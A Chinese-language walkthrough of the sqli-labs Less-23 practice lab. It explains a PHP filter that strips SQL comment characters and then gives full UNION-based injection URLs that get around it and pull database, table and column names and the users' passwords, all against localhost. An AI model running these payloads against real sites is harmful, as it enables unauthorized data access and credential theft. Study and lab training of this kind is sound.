基于错误_GET_过滤注释_单引号_字符型注入
Page 2 的高级关主要是各种过滤与限制条件,又回到了GET很是亲切。
0x01. 判断注入类型
http://localhost:8088/sqlilabs/Less-23/?id=1'

可以看出是单引号闭合的查询,这里报错还把站点路径爆出来了。
0x02. PHP 语法
preg_replace() 函数
preg_replace(pattern,replacement,subject[,limit=-1[,&count]])
| 参数 | 描述 |
|---|---|
| pattern | 要搜索的模式,可以是字符串或一个字符串数组 |
| replacement | 用于替换的字符串或字符串数组 |
| subject | 要搜索替换的目标字符串或字符串数组 |
| limit | 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制) |
| count | 可选,为替换执行的次数 |
preg_replace()函数执行一个正则表达式的搜索和替换,搜索subject中匹配pattern的部分, 以replacement进行替换。
如果subject是一个数组,preg_replace()返回一个数组,其他情况下返回一个字符串。
如果匹配被查找到,替换后的subject被返回,其他情况下返回没有改变的subject。如果发生错误,返回NULL。
在这关中,也只是将#和--替换成了空字符。
0x03. 过滤绕过
http://localhost:8088/sqlilabs/Less-23/?id=1' order by 4--+
http://localhost:8088/sqlilabs/Less-23/?id=1' order by 4#
http://localhost:8088/sqlilabs/Less-23/?id=1' order by 4%23

判断字段数时问题来了:尝试两种注释方式发现报错回显中LIMIT语句仍在起作用,注释没有起作用,即使把#URL编码为%23仍被过滤。
这时就要分析 SQL 语句找到绕过注入的方式,后台的查询语句是这样的:
SELECT * FROM table_name WHERE id='$id' LIMIT 0,1
注入点在id处,我们要判断字段数用的是order by子句,同时闭合第二个单引号:
SELECT * FROM table_name WHERE id='1' order by 4 and '1'='1' LIMIT 0,1
本意是能从报错信息判断查询返回表共有几个字段,但是回显很正常:

在 MySQL 中分别查询两个顺序不同的语句,结果如下:

很是不解,思考后猜测:
where与order by是子句,and是操作符,用于where子句。
在MySQL的执行顺序中,where是远在order by前面的。在第一个查询语句中,
id='1' and '1'='1'作为where的条件,先被执行,得到结果集;然后是order by,因结果集中无第四个字段所以报错。在第二个查询语句中,
order by在where的条件中,在where执行时被忽略了,结果集生成后并未再执行order by。
给出一个参考:MySQL 解析顺序
所以这关不能用order by来判断字段数,而要用union:
SELECT * FROM table_name WHERE id='1' union select 1,2,3,4 or '1'='1' LIMIT 0,1
这里的or作为了联合查询第二个语句的条件而不是第一个语句where的条件。
http://localhost:8088/sqlilabs/Less-23/?id=1' union select 1,2,3,4 or '1'='1

当select加到4时报错,得出共3个字段。
注入时闭合查询语句即绕过过滤如下:
SELECT * FROM table_name WHERE id='-1' union [select c_1,c_2,(c_3] or '1'='1') LIMIT 0,1
这里id等于-1在 Less 1 中解释过,使原查询左边为空,使我们定义的查询结果返回。
注意:这里的or '1'='1'是作为column_3的操作符,因其为永真条件,在column_3回显处会显示1,所以不能在column_3处注入。
http://localhost:8088/sqlilabs/Less-23/?id=-1' union select 2,3,4 or '1'='1

所以唯一的回显字段便是username即column_2,这也是唯一的注入点。
0x04. 注入过程
步骤1:数据库名
http://localhost:8088/sqlilabs/Less-23/?id=-1' union select 2,database(),4 or '1'='1

步骤2:表名
http://localhost:8088/sqlilabs/Less-23/?id=-1' union select 2,(select group_concat(table_name) from information_schema.tables where table_schema='security'),4 or '1'='1

注意:因为这里涉及到where与or语句的混合,只能用双注入即CONCAT子查询。
步骤3:字段名
http://localhost:8088/sqlilabs/Less-23/?id=-1' union select 2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),4 or '1'='1

步骤4:数据
http://localhost:8088/sqlilabs/Less-23/?id=-1' union select 2,(select group_concat(concat_ws('-',id,username,password)) from users),4 or '1'='1

注:其实不一定要用or '1'='1来闭合,也可以直接用column_3闭合:
http://localhost:8088/sqlilabs/Less-23/?id=-1' union select 1,(select group_concat(concat_ws('-',id,username,password)) from users),'3
0x05. 吐槽
想要学好还得精通 MySQL 和 PHP 才行啊。